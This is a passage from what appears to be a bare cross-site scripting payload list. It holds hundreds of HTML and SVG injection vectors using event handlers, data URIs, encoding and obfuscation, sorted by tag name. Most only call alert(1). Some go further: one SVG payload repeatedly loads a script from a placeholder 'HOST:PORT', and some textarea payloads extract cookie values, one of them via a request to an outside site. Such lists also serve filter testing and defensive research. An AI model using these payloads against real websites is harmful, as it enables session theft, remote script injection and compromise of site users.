ondragleave="alert(1)">test</style> <style draggable="true" ondragstart="alert(1)">test</style> <style id=x tabindex=1 onactivate=alert(1)></style> <style id=x tabindex=1 onbeforeactivate=alert(1)></style> <style id=x tabindex=1 onbeforedeactivate=alert(1)></style><input autofocus> <style id=x tabindex=1 ondeactivate=alert(1)></style><input id=y autofocus> <style id=x tabindex=1 onfocus=alert(1)></style> <style id=x tabindex=1 onfocusin=alert(1)></style> <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad> <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange> <style onbeforecopy="alert(1)" contenteditable>test</style> <style onbeforecut="alert(1)" contenteditable>test</style> <style onbeforepaste="alert(1)" contenteditable>test</style> <style onblur=alert(1) tabindex=1 id=x></style><input autofocus> <style onclick="alert(1)">test</style> <style oncontextmenu="alert(1)">test</style> <style oncopy="alert(1)" contenteditable>test</style> <style oncut="alert(1)" contenteditable>test</style> <style ondblclick="alert(1)">test</style> <style onfocusout=alert(1) tabindex=1 id=x></style><input autofocus> <style onkeydown="alert(1)" contenteditable>test</style> <style onkeypress="alert(1)" contenteditable>test</style> <style onkeyup="alert(1)" contenteditable>test</style> <style onload=alert(1)></style> <style onmousedown="alert(1)">test</style> <style onmouseenter="alert(1)">test</style> <style onmouseleave="alert(1)">test</style> <style onmousemove="alert(1)">test</style> <style onmouseout="alert(1)">test</style> <style onmouseover="alert(1)">test</style> <style onmouseup="alert(1)">test</style> <style onpaste="alert(1)" contenteditable>test</style> <style onreadystatechange=alert(1)></style> <style onreadystatechange=javascript:javascript:alert(1);></style> <stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> <style type="text/css"> <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style> <style type="text/javascript">document.vulnerable=true;</style> <sub draggable="true" ondrag="alert(1)">test</sub> <sub draggable="true" ondragend="alert(1)">test</sub> <sub draggable="true" ondragenter="alert(1)">test</sub> <sub draggable="true" ondragleave="alert(1)">test</sub> <sub draggable="true" ondragstart="alert(1)">test</sub> <sub id=x tabindex=1 onactivate=alert(1)></sub> <sub id=x tabindex=1 onbeforeactivate=alert(1)></sub> <sub id=x tabindex=1 onbeforedeactivate=alert(1)></sub><input autofocus> <sub id=x tabindex=1 ondeactivate=alert(1)></sub><input id=y autofocus> <sub id=x tabindex=1 onfocus=alert(1)></sub> <sub id=x tabindex=1 onfocusin=alert(1)></sub> <sub onbeforecopy="alert(1)" contenteditable>test</sub> <sub onbeforecut="alert(1)" contenteditable>test</sub> <sub onbeforepaste="alert(1)" contenteditable>test</sub> <sub onblur=alert(1) tabindex=1 id=x></sub><input autofocus> <sub onclick="alert(1)">test</sub> <sub oncontextmenu="alert(1)">test</sub> <sub oncopy="alert(1)" contenteditable>test</sub> <sub oncut="alert(1)" contenteditable>test</sub> <sub ondblclick="alert(1)">test</sub> <sub onfocusout=alert(1) tabindex=1 id=x></sub><input autofocus> <sub onkeydown="alert(1)" contenteditable>test</sub> <sub onkeypress="alert(1)" contenteditable>test</sub> <sub onkeyup="alert(1)" contenteditable>test</sub> <sub onmousedown="alert(1)">test</sub> <sub onmouseenter="alert(1)">test</sub> <sub onmouseleave="alert(1)">test</sub> <sub onmousemove="alert(1)">test</sub> <sub onmouseout="alert(1)">test</sub> <sub onmouseover="alert(1)">test</sub> <sub onmouseup="alert(1)">test</sub> <sub onpaste="alert(1)" contenteditable>test</sub> <summary draggable="true" ondrag="alert(1)">test</summary> <summary draggable="true" ondragend="alert(1)">test</summary> <summary draggable="true" ondragenter="alert(1)">test</summary> <summary draggable="true" ondragleave="alert(1)">test</summary> <summary draggable="true" ondragstart="alert(1)">test</summary> <summary id=x tabindex=1 onactivate=alert(1)></summary> <summary id=x tabindex=1 onbeforeactivate=alert(1)></summary> <summary id=x tabindex=1 onbeforedeactivate=alert(1)></summary><input autofocus> <summary id=x tabindex=1 ondeactivate=alert(1)></summary><input id=y autofocus> <summary id=x tabindex=1 onfocus=alert(1)></summary> <summary id=x tabindex=1 onfocusin=alert(1)></summary> <summary onbeforecopy="alert(1)" contenteditable>test</summary> <summary onbeforecut="alert(1)" contenteditable>test</summary> <summary onbeforepaste="alert(1)" contenteditable>test</summary> <summary onblur=alert(1) tabindex=1 id=x></summary><input autofocus> <summary onclick="alert(1)">test</summary> <summary oncontextmenu="alert(1)">test</summary> <summary oncopy="alert(1)" contenteditable>test</summary> <summary oncut="alert(1)" contenteditable>test</summary> <summary ondblclick="alert(1)">test</summary> <summary onfocusout=alert(1) tabindex=1 id=x></summary><input autofocus> <summary onkeydown="alert(1)" contenteditable>test</summary> <summary onkeypress="alert(1)" contenteditable>test</summary> <summary onkeyup="alert(1)" contenteditable>test</summary> <summary onmousedown="alert(1)">test</summary> <summary onmouseenter="alert(1)">test</summary> <summary onmouseleave="alert(1)">test</summary> <summary onmousemove="alert(1)">test</summary> <summary onmouseout="alert(1)">test</summary> <summary onmouseover="alert(1)">test</summary> <summary onmouseup="alert(1)">test</summary> <summary onpaste="alert(1)" contenteditable>test</summary> <sup draggable="true" ondrag="alert(1)">test</sup> <sup draggable="true" ondragend="alert(1)">test</sup> <sup draggable="true" ondragenter="alert(1)">test</sup> <sup draggable="true" ondragleave="alert(1)">test</sup> <sup draggable="true" ondragstart="alert(1)">test</sup> <sup id=x tabindex=1 onactivate=alert(1)></sup> <sup id=x tabindex=1 onbeforeactivate=alert(1)></sup> <sup id=x tabindex=1 onbeforedeactivate=alert(1)></sup><input autofocus> <sup id=x tabindex=1 ondeactivate=alert(1)></sup><input id=y autofocus> <sup id=x tabindex=1 onfocus=alert(1)></sup> <sup id=x tabindex=1 onfocusin=alert(1)></sup> <sup onbeforecopy="alert(1)" contenteditable>test</sup> <sup onbeforecut="alert(1)" contenteditable>test</sup> <sup onbeforepaste="alert(1)" contenteditable>test</sup> <sup onblur=alert(1) tabindex=1 id=x></sup><input autofocus> <sup onclick="alert(1)">test</sup> <sup oncontextmenu="alert(1)">test</sup> <sup oncopy="alert(1)" contenteditable>test</sup> <sup oncut="alert(1)" contenteditable>test</sup> <sup ondblclick="alert(1)">test</sup> <sup onfocusout=alert(1) tabindex=1 id=x></sup><input autofocus> <sup onkeydown="alert(1)" contenteditable>test</sup> <sup onkeypress="alert(1)" contenteditable>test</sup> <sup onkeyup="alert(1)" contenteditable>test</sup> <sup onmousedown="alert(1)">test</sup> <sup onmouseenter="alert(1)">test</sup> <sup onmouseleave="alert(1)">test</sup> <sup onmousemove="alert(1)">test</sup> <sup onmouseout="alert(1)">test</sup> <sup onmouseover="alert(1)">test</sup> <sup onmouseup="alert(1)">test</sup> <sup onpaste="alert(1)" contenteditable>test</sup> <svG/x=">"/oNloaD=confirm()// <svg%0Aonauxclick=0;[1].some(confirm)// <svg%0Aonload=%09((pro\u006dpt))()// <svg/ \/\/%20%20%20%20%20onload%20%20%20%20%20 =%20%20%20%20%20%20%20 window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))> <svg/on<script><script>load=alert(1)//</script> <svg/onload=%26%23097lert%26lpar;1337)> <svg/onload=%26nbsp;alert`bohdan`+ <svg/onload=alert(1) <svg/ subsoloprivxss \/\/%20%20%20%20%20onload%20%20%20%20%20 =%20%20%20%20%20%20%20 window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))> <svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/> <svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"> <svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/> <svg:svg> <svg </onload ="1> (_=alert,_(1)) ""> <svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>//["'`-->]]>]</div> <svg><abbr onload=alert(1)></abbr> <svg><acronym onload=alert(1)></acronym> <svg><address onload=alert(1)></address> <svg><animate onbegin=alert(1) attributeName=x dur=1s> <svg><animate onend=alert(1) attributeName=x dur=1s> <svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 /> <svg><animatetransform onbegin=alert(1) attributeName=transform> <svg><animatetransform onend=alert(1) attributeName=transform dur=1s> <svg><animatetransform onrepeat=alert(1) attributeName=transform repeatCount=2 dur=1s> <svg><a onload=alert(1)></a> <svg><applet onload=alert(1)></applet> <svg><area onload=alert(1)></area> <svg><article onload=alert(1)></article> <svg><aside onload=alert(1)></aside> <svg><audio onload=alert(1)></audio> <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&> <svg><b><style><img id="</style><img src=1 onerror=alert(1)>"> <svg><basefont onload=alert(1)></basefont> <svg><base onload=alert(1)></base> <svg><bdi onload=alert(1)></bdi> <svg><bdo onload=alert(1)></bdo> <svg><bgsound onload=alert(1)></bgsound> <svg><big onload=alert(1)></big> <svg><blink onload=alert(1)></blink> <svg><blockquote onload=alert(1)></blockquote> <svg><b onload=alert(1)></b> <svg><br onload=alert(1)></br> <svg><button onload=alert(1)></button> <svg><canvas onload=alert(1)></canvas> <svg><caption onload=alert(1)></caption> <svg><center onload=alert(1)></center> <svg><cite onload=alert(1)></cite> <svg><code onload=alert(1)></code> <svg><colgroup onload=alert(1)></colgroup> <svg><col onload=alert(1)></col> <svg><command onload=alert(1)></command> <svg><content onload=alert(1)></content> <svg><datalist onload=alert(1)></datalist> <svg><data onload=alert(1)></data> <svg><dd onload=alert(1)></dd> <svg><del onload=alert(1)></del> <svg><details onload=alert(1)></details> <svg><dfn onload=alert(1)></dfn> <svg><dialog onload=alert(1)></dialog> <svg><dir onload=alert(1)></dir> <svg><discard onbegin=alert(1)> <svg><div onload=alert(1)></div> <svg><dl onload=alert(1)></dl> <svg><dt onload=alert(1)></dt> <svg><element onload=alert(1)></element> <svg><em onload=alert(1)></em> <svg><fieldset onload=alert(1)></fieldset> <svg><figcaption onload=alert(1)></figcaption> <svg><figure onload=alert(1)></figure> <svg><font onload=alert(1)></font> <svg><footer onload=alert(1)></footer> <svg><form onload=alert(1)></form> <svg><frameset onload=alert(1)></frameset> <svg><h1 onload=alert(1)></h1> <svg><header onload=alert(1)></header> <svg><head onload=alert(1)></head> <svg><hgroup onload=alert(1)></hgroup> <svg><hr onload=alert(1)></hr> <svg><html onload=alert(1)></html> <svg><image href=1 onerror=alert(1)> <svg><image href=validimage.png onload=alert(1)> <svg><ins onload=alert(1)></ins> <svg><i onload=alert(1)></i> <svg><kbd onload=alert(1)></kbd> <svg><keygen onload=alert(1)></keygen> <svg><label onload=alert(1)></label> <svg><legend onload=alert(1)></legend> <svg><li onload=alert(1)></li> <svg><listing onload=alert(1)></listing> <svg><main onload=alert(1)></main> <svg><map onload=alert(1)></map> <svg><mark onload=alert(1)></mark> <svg><marquee onload=alert(1)></marquee> <svg><menuitem onload=alert(1)></menuitem> <svg><menu onload=alert(1)></menu> <svg><meta onload=alert(1)></meta> <svg><meter onload=alert(1)></meter> <svg><multicol onload=alert(1)></multicol> <svg><nav onload=alert(1)></nav> <svg><nextid onload=alert(1)></nextid> <svg><nobr onload=alert(1)></nobr> <svg><noembed onload=alert(1)></noembed> <svg><noframes onload=alert(1)></noframes> <svg><noscript onload=alert(1)></noscript> <svg><ol onload=alert(1)></ol> <svg><optgroup onload=alert(1)></optgroup> <svg><option onload=alert(1)></option> <svg><output onload=alert(1)></output> <svg><param onload=alert(1)></param> <svg><path><animateMotion onbegin=alert(1) dur="1s" repeatCount="1"> <svg><path><animateMotion onend=alert(1) dur=1s repeatCount=1> <svg><path><animateMotion onrepeat=alert(1) dur="1s" repeatCount="2"> <svg><picture onload=alert(1)></picture> <svg><plaintext onload=alert(1)></plaintext> <svg><p onload=alert(1)></p> <svg><pre onload=alert(1)></pre> <svg><progress onload=alert(1)></progress> <svg><q onload=alert(1)></q> <svg><rb onload=alert(1)></rb> <svg><rp onload=alert(1)></rp> <svg><rtc onload=alert(1)></rtc> <svg><rt onload=alert(1)></rt> <svg><ruby onload=alert(1)></ruby> <svg><samp onload=alert(1)></samp> <svg><script>// confirm(1);</script </svg> <svg><script ?>alert(1) <svg><script onlypossibleinopera:-)> alert(1) <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <svg><script xlink:href=data:,window.open('https://www.google.com/') </script <svg><script xlink:href=data:,window.open('https://www.google.com/')></script <svg><script xlink:href=data:,alert(1) /> <svg><section onload=alert(1)></section> <svg><select onload=alert(1)></select> <svg><set end=1 onend=alert(1)> <svg><set onbegin=alert(1)> <svg><set onbegin=alert(1) attributename=x dur=1s> <svg><set onend=alert(1) attributename=x dur=1s> <svg><set onrepeat=alert(1) attributename=x dur=1s repeatcount=2> <svg><shadow onload=alert(1)></shadow> <svg><slot onload=alert(1)></slot> <svg><small onload=alert(1)></small> <svg><s onload=alert(1)></s> <svg><source onload=alert(1)></source> <svg><spacer onload=alert(1)></spacer> <svg><span onload=alert(1)></span> <svg><strike onload=alert(1)></strike> <svg><strong onload=alert(1)></strong> <svg><style>{font-family:'<iframe/onload=confirm(1)>' <svg><sub onload=alert(1)></sub> <svg><summary onload=alert(1)></summary> <svg><sup onload=alert(1)></sup> <svg><svg onload=alert(1)> <svg><table onload=alert(1)></table> <svg><tbody onload=alert(1)></tbody> <svg><td onload=alert(1)></td> <svg><template onload=alert(1)></template> <svg><textarea onload=alert(1)></textarea> <svg><tfoot onload=alert(1)></tfoot> <svg><thead onload=alert(1)></thead> <svg><th onload=alert(1)></th> <svg><time onload=alert(1)></time> <svg><title onload=alert(1)></title> <svg><tr onload=alert(1)></tr> <svg><tt onload=alert(1)></tt> <svg><ul onload=alert(1)></ul> <svg><u onload=alert(1)></u> <svg><use xlink:href=data:image/svg%2Bxml;base64,PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI%2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4=%23x> <svg><var onload=alert(1)></var> <svg><video onload=alert(1)></video> <svg><wbr onload=alert(1)></wbr> <svg><xmp onload=alert(1)></xmp> <svg><xss onload=alert(1)></xss> <svg contentScriptType=text/vbs><script>MsgBox+1 <svg draggable="true" ondrag="alert(1)">test</svg> <svg draggable="true" ondragend="alert(1)">test</svg> <svg draggable="true" ondragenter="alert(1)">test</svg> <svg draggable="true" ondragleave="alert(1)">test</svg> <svg draggable="true" ondragstart="alert(1)">test</svg> <svg id=javascript:alert(10) onload=location=id> <svg id=x onfocus=alert(1)> <svg id=x onfocusin=alert(1)> <svg id=x tabindex=1 onactivate=alert(1)></svg> <svg id=x tabindex=1 onbeforeactivate=alert(1)></svg> <svg id=x tabindex=1 onbeforedeactivate=alert(1)></svg><input autofocus> <svg id=x tabindex=1 ondeactivate=alert(1)></svg><input id=y autofocus> <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad> <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize> <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload> <svg onbeforecopy="alert(1)" contenteditable>test</svg> <svg onbeforecut="alert(1)" contenteditable>test</svg> <svg onbeforepaste="alert(1)" contenteditable>test</svg> <svg onblur=alert(1) tabindex=1 id=x></svg><input autofocus> <svg onclick="alert(1)">test</svg> <svg oncontextmenu="alert(1)">test</svg> <svg oncopy="alert(1)" contenteditable>test</svg> <svg oncut="alert(1)" contenteditable>test</svg> <svg ondblclick="alert(1)">test</svg> <svg onfocusout=alert(1) tabindex=1 id=x></svg><input autofocus> <svg onkeydown="alert(1)" contenteditable>test</svg> <svg onkeypress="alert(1)" contenteditable>test</svg> <svg onkeyup="alert(1)" contenteditable>test</svg> <svg onload="alert(1)" <svg onload="import('data:text/javascript,al'+''+'ert(0)')"> <svg onload="javascript:alert(123)" xmlns="#"></svg> <svg onload=alert(1)> <svg onload=alert(1)> <svg onload=alert(1)// <svg onload=alert(1)> <svg onload=alert(1)>\ <svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)> <svg onload=window[490837..toString(1<<5)](atob('YWxlcnQoMSk='));> <svg onload\r\n=$.globalEval("al"+"ert()");> <svg onload svg onload="javascript:javascript:alert(1)"></svg onload> <svg onmousedown="alert(1)">test</svg> <svg onmouseenter="alert(1)">test</svg> <svg onmouseleave="alert(1)">test</svg> <svg onmousemove="alert(1)">test</svg> <svg onmouseout="alert(1)">test</svg> <svg onmouseover="alert(1)">test</svg> <svg onmouseup="alert(1)">test</svg> <svg onpaste="alert(1)" contenteditable>test</svg> <svg onpointerenter=z=alert,z(document.domain)> <svg onunload=http://window.open ('javascript:alert(1)')> <svg onunload=window.open('javascript:alert(1)')> <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload> <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> <svg xmlns="#"><script>alert(1)</script></svg> <svg xmlns="http://www.w3.org/2000/svg"> <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> <t:set attributeName="innerHTML" targetElement="x" to="<img src=x:x onerror =alert(116)>">//["'`-->]]>]</div> <table><TD BACKGROUND="javascript:document.vulnerable=true;"> <table BACKGROUND="javascript:document.vulnerable=true;"> <table background="javascript:javascript:alert(1)"> <table draggable="true" ondrag="alert(1)">test</table> <table draggable="true" ondragend="alert(1)">test</table> <table draggable="true" ondragenter="alert(1)">test</table> <table draggable="true" ondragleave="alert(1)">test</table> <table draggable="true" ondragstart="alert(1)">test</table> <table id=x tabindex=1 onactivate=alert(1)></table> <table id=x tabindex=1 onbeforeactivate=alert(1)></table> <table id=x tabindex=1 onbeforedeactivate=alert(1)></table><input autofocus> <table id=x tabindex=1 ondeactivate=alert(1)></table><input id=y autofocus> <table id=x tabindex=1 onfocus=alert(1)></table> <table id=x tabindex=1 onfocusin=alert(1)></table> <table onbeforecopy="alert(1)" contenteditable>test</table> <table onbeforecut="alert(1)" contenteditable>test</table> <table onbeforepaste="alert(1)" contenteditable>test</table> <table onblur=alert(1) tabindex=1 id=x></table><input autofocus> <table onclick="alert(1)">test</table> <table oncontextmenu="alert(1)">test</table> <table oncopy="alert(1)" contenteditable>test</table> <table oncut="alert(1)" contenteditable>test</table> <table ondblclick="alert(1)">test</table> <table onfocusout=alert(1) tabindex=1 id=x></table><input autofocus> <table onkeydown="alert(1)" contenteditable>test</table> <table onkeypress="alert(1)" contenteditable>test</table> <table onkeyup="alert(1)" contenteditable>test</table> <table onmousedown="alert(1)">test</table> <table onmouseenter="alert(1)">test</table> <table onmouseleave="alert(1)">test</table> <table onmousemove="alert(1)">test</table> <table onmouseout="alert(1)">test</table> <table onmouseover="alert(1)">test</table> <table onmouseup="alert(1)">test</table> <table onpaste="alert(1)" contenteditable>test</table> <tbody draggable="true" ondrag="alert(1)">test</tbody> <tbody draggable="true" ondragend="alert(1)">test</tbody> <tbody draggable="true" ondragenter="alert(1)">test</tbody> <tbody draggable="true" ondragleave="alert(1)">test</tbody> <tbody draggable="true" ondragstart="alert(1)">test</tbody> <tbody id=x tabindex=1 onactivate=alert(1)></tbody> <tbody id=x tabindex=1 onbeforeactivate=alert(1)></tbody> <tbody id=x tabindex=1 onbeforedeactivate=alert(1)></tbody><input autofocus> <tbody id=x tabindex=1 ondeactivate=alert(1)></tbody><input id=y autofocus> <tbody id=x tabindex=1 onfocus=alert(1)></tbody> <tbody id=x tabindex=1 onfocusin=alert(1)></tbody> <tbody onbeforecopy="alert(1)" contenteditable>test</tbody> <tbody onbeforecut="alert(1)" contenteditable>test</tbody> <tbody onbeforepaste="alert(1)" contenteditable>test</tbody> <tbody onblur=alert(1) tabindex=1 id=x></tbody><input autofocus> <tbody onclick="alert(1)">test</tbody> <tbody oncontextmenu="alert(1)">test</tbody> <tbody oncopy="alert(1)" contenteditable>test</tbody> <tbody oncut="alert(1)" contenteditable>test</tbody> <tbody ondblclick="alert(1)">test</tbody> <tbody onfocusout=alert(1) tabindex=1 id=x></tbody><input autofocus> <tbody onkeydown="alert(1)" contenteditable>test</tbody> <tbody onkeypress="alert(1)" contenteditable>test</tbody> <tbody onkeyup="alert(1)" contenteditable>test</tbody> <tbody onmousedown="alert(1)">test</tbody> <tbody onmouseenter="alert(1)">test</tbody> <tbody onmouseleave="alert(1)">test</tbody> <tbody onmousemove="alert(1)">test</tbody> <tbody onmouseout="alert(1)">test</tbody> <tbody onmouseover="alert(1)">test</tbody> <tbody onmouseup="alert(1)">test</tbody> <tbody onpaste="alert(1)" contenteditable>test</tbody> <td draggable="true" ondrag="alert(1)">test</td> <td draggable="true" ondragend="alert(1)">test</td> <td draggable="true" ondragenter="alert(1)">test</td> <td draggable="true" ondragleave="alert(1)">test</td> <td draggable="true" ondragstart="alert(1)">test</td> <td id=x tabindex=1 onactivate=alert(1)></td> <td id=x tabindex=1 onbeforeactivate=alert(1)></td> <td id=x tabindex=1 onbeforedeactivate=alert(1)></td><input autofocus> <td id=x tabindex=1 ondeactivate=alert(1)></td><input id=y autofocus> <td id=x tabindex=1 onfocus=alert(1)></td> <td id=x tabindex=1 onfocusin=alert(1)></td> <td onbeforecopy="alert(1)" contenteditable>test</td> <td onbeforecut="alert(1)" contenteditable>test</td> <td onbeforepaste="alert(1)" contenteditable>test</td> <td onblur=alert(1) tabindex=1 id=x></td><input autofocus> <td onclick="alert(1)">test</td> <td oncontextmenu="alert(1)">test</td> <td oncopy="alert(1)" contenteditable>test</td> <td oncut="alert(1)" contenteditable>test</td> <td ondblclick="alert(1)">test</td> <td onfocusout=alert(1) tabindex=1 id=x></td><input autofocus> <td onkeydown="alert(1)" contenteditable>test</td> <td onkeypress="alert(1)" contenteditable>test</td> <td onkeyup="alert(1)" contenteditable>test</td> <td onmousedown="alert(1)">test</td> <td onmouseenter="alert(1)">test</td> <td onmouseleave="alert(1)">test</td> <td onmousemove="alert(1)">test</td> <td onmouseout="alert(1)">test</td> <td onmouseover="alert(1)">test</td> <td onmouseup="alert(1)">test</td> <td onpaste="alert(1)" contenteditable>test</td> <template draggable="true" ondrag="alert(1)">test</template> <template draggable="true" ondragend="alert(1)">test</template> <template draggable="true" ondragenter="alert(1)">test</template> <template draggable="true" ondragleave="alert(1)">test</template> <template draggable="true" ondragstart="alert(1)">test</template> <template id=x tabindex=1 onactivate=alert(1)></template> <template id=x tabindex=1 onbeforeactivate=alert(1)></template> <template id=x tabindex=1 onbeforedeactivate=alert(1)></template><input autofocus> <template id=x tabindex=1 ondeactivate=alert(1)></template><input id=y autofocus> <template id=x tabindex=1 onfocus=alert(1)></template> <template id=x tabindex=1 onfocusin=alert(1)></template> <template match="/"> <template onbeforecopy="alert(1)" contenteditable>test</template> <template onbeforecut="alert(1)" contenteditable>test</template> <template onbeforepaste="alert(1)" contenteditable>test</template> <template onblur=alert(1) tabindex=1 id=x></template><input autofocus> <template onclick="alert(1)">test</template> <template oncontextmenu="alert(1)">test</template> <template oncopy="alert(1)" contenteditable>test</template> <template oncut="alert(1)" contenteditable>test</template> <template ondblclick="alert(1)">test</template> <template onfocusout=alert(1) tabindex=1 id=x></template><input autofocus> <template onkeydown="alert(1)" contenteditable>test</template> <template onkeypress="alert(1)" contenteditable>test</template> <template onkeyup="alert(1)" contenteditable>test</template> <template onmousedown="alert(1)">test</template> <template onmouseenter="alert(1)">test</template> <template onmouseleave="alert(1)">test</template> <template onmousemove="alert(1)">test</template> <template onmouseout="alert(1)">test</template> <template onmouseover="alert(1)">test</template> <template onmouseup="alert(1)">test</template> <template onpaste="alert(1)" contenteditable>test</template> <textarea autofocus onfocus=alert(1)>test</textarea> <textarea autofocus onfocusin=alert(1)>test</textarea> <textarea draggable="true" ondrag="alert(1)">test</textarea> <textarea draggable="true" ondragend="alert(1)">test</textarea> <textarea draggable="true" ondragenter="alert(1)">test</textarea> <textarea draggable="true" ondragleave="alert(1)">test</textarea> <textarea draggable="true" ondragstart="alert(1)">test</textarea> <textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> <textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea> <textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea> <textarea id=x tabindex=1 onactivate=alert(1)></textarea> <textarea id=x tabindex=1 onbeforeactivate=alert(1)></textarea> <textarea id=x tabindex=1 onbeforedeactivate=alert(1)></textarea><input autofocus> <textarea id=x tabindex=1 ondeactivate=alert(1)></textarea><input id=y autofocus> <textarea onauxclick=alert(1)>XSS</textarea> <textarea onbeforecopy=alert(1) autofocus>XSS</textarea> <textarea onbeforecut=alert(1) autofocus>XSS</textarea> <textarea onbeforepaste=alert(1) autofocus></textarea> <textarea onblur=alert(1) id=x></textarea><input autofocus> <textarea onchange=alert(1)>XSS</textarea> <textarea onclick="alert(1)">test</textarea> <textarea oncontextmenu="alert(1)">test</textarea> <textarea oncopy=alert(1) autofocus>XSS</textarea> <textarea oncut=alert(1) autofocus>XSS</textarea> <textarea ondblclick="alert(1)">test</textarea> <textarea onfocusout=alert(1) id=x></textarea><input autofocus> <textarea oninput=alert(1)>XSS</textarea> <textarea onkeydown="alert(1)" contenteditable>test</textarea> <textarea onkeypress="alert(1)" contenteditable>test</textarea> <textarea onkeyup="alert(1)" contenteditable>test</textarea> <textarea onmousedown="alert(1)">test</textarea> <textarea onmouseenter="alert(1)">test</textarea> <textarea onmouseleave="alert(1)">test</textarea> <textarea onmousemove="alert(1)">test</textarea> <textarea onmouseout="alert(1)">test</textarea> <textarea onmouseover="alert(1)">test</textarea> <textarea onmouseup="alert(1)">test</textarea> <textarea onpaste=alert(1) autofocus></textarea> <textarea onselect=alert(1) autofocus>XSS</textarea> <textarea type="text" cols="50" rows="10"></textarea>//["'`-->]]>]</div> <tfoot draggable="true" ondrag="alert(1)">test</tfoot> <tfoot draggable="true" ondragend="alert(1)">test</tfoot> <tfoot draggable="true" ondragenter="alert(1)">test</tfoot> <tfoot draggable="true" ondragleave="alert(1)">test</tfoot> <tfoot draggable="true" ondragstart="alert(1)">test</tfoot> <tfoot id=x tabindex=1 onactivate=alert(1)></tfoot> <tfoot id=x tabindex=1 onbeforeactivate=alert(1)></tfoot> <tfoot id=x tabindex=1 onbeforedeactivate=alert(1)></tfoot><input autofocus> <tfoot id=x tabindex=1 ondeactivate=alert(1)></tfoot><input id=y autofocus> <tfoot id=x tabindex=1 onfocus=alert(1)></tfoot> <tfoot id=x tabindex=1 onfocusin=alert(1)></tfoot> <tfoot onbeforecopy="alert(1)" contenteditable>test</tfoot> <tfoot onbeforecut="alert(1)" contenteditable>test</tfoot> <tfoot onbeforepaste="alert(1)" contenteditable>test</tfoot> <tfoot onblur=alert(1) tabindex=1 id=x></tfoot><input autofocus> <tfoot onclick="alert(1)">test</tfoot> <tfoot oncontextmenu="alert(1)">test</tfoot> <tfoot oncopy="alert(1)" contenteditable>test</tfoot> <tfoot oncut="alert(1)" contenteditable>test</tfoot> <tfoot ondblclick="alert(1)">test</tfoot> <tfoot onfocusout=alert(1) tabindex=1 id=x></tfoot><input autofocus> <tfoot onkeydown="alert(1)" contenteditable>test</tfoot> <tfoot onkeypress="alert(1)" contenteditable>test</tfoot> <tfoot onkeyup="alert(1)" contenteditable>test</tfoot> <tfoot onmousedown="alert(1)">test</tfoot> <tfoot onmouseenter="alert(1)">test</tfoot> <tfoot onmouseleave="alert(1)">test</tfoot> <tfoot onmousemove="alert(1)">test</tfoot> <tfoot onmouseout="alert(1)">test</tfoot> <tfoot onmouseover="alert(1)">test</tfoot> <tfoot onmouseup="alert(1)">test</tfoot> <tfoot onpaste="alert(1)" contenteditable>test</tfoot> <th draggable="true" ondrag="alert(1)">test</th> <th draggable="true" ondragend="alert(1)">test</th> <th draggable="true" ondragenter="alert(1)">test</th> <th draggable="true" ondragleave="alert(1)">test</th> <th draggable="true" ondragstart="alert(1)">test</th> <thead draggable="true" ondrag="alert(1)">test</thead> <thead draggable="true" ondragend="alert(1)">test</thead> <thead draggable="true" ondragenter="alert(1)">test</thead> <thead draggable="true" ondragleave="alert(1)">test</thead> <thead draggable="true" ondragstart="alert(1)">test</thead> <thead id=x tabindex=1 onactivate=alert(1)></thead> <thead id=x tabindex=1 onbeforeactivate=alert(1)></thead> <thead id=x tabindex=1 onbeforedeactivate=alert(1)></thead><input autofocus> <thead id=x tabindex=1 ondeactivate=alert(1)></thead><input id=y autofocus> <thead id=x tabindex=1 onfocus=alert(1)></thead> <thead id=x tabindex=1 onfocusin=alert(1)></thead> <thead onbeforecopy="alert(1)" contenteditable>test</thead> <thead onbeforecut="alert(1)" contenteditable>test</thead> <thead onbeforepaste="alert(1)" contenteditable>test</thead> <thead onblur=alert(1) tabindex=1 id=x></thead><input autofocus> <thead 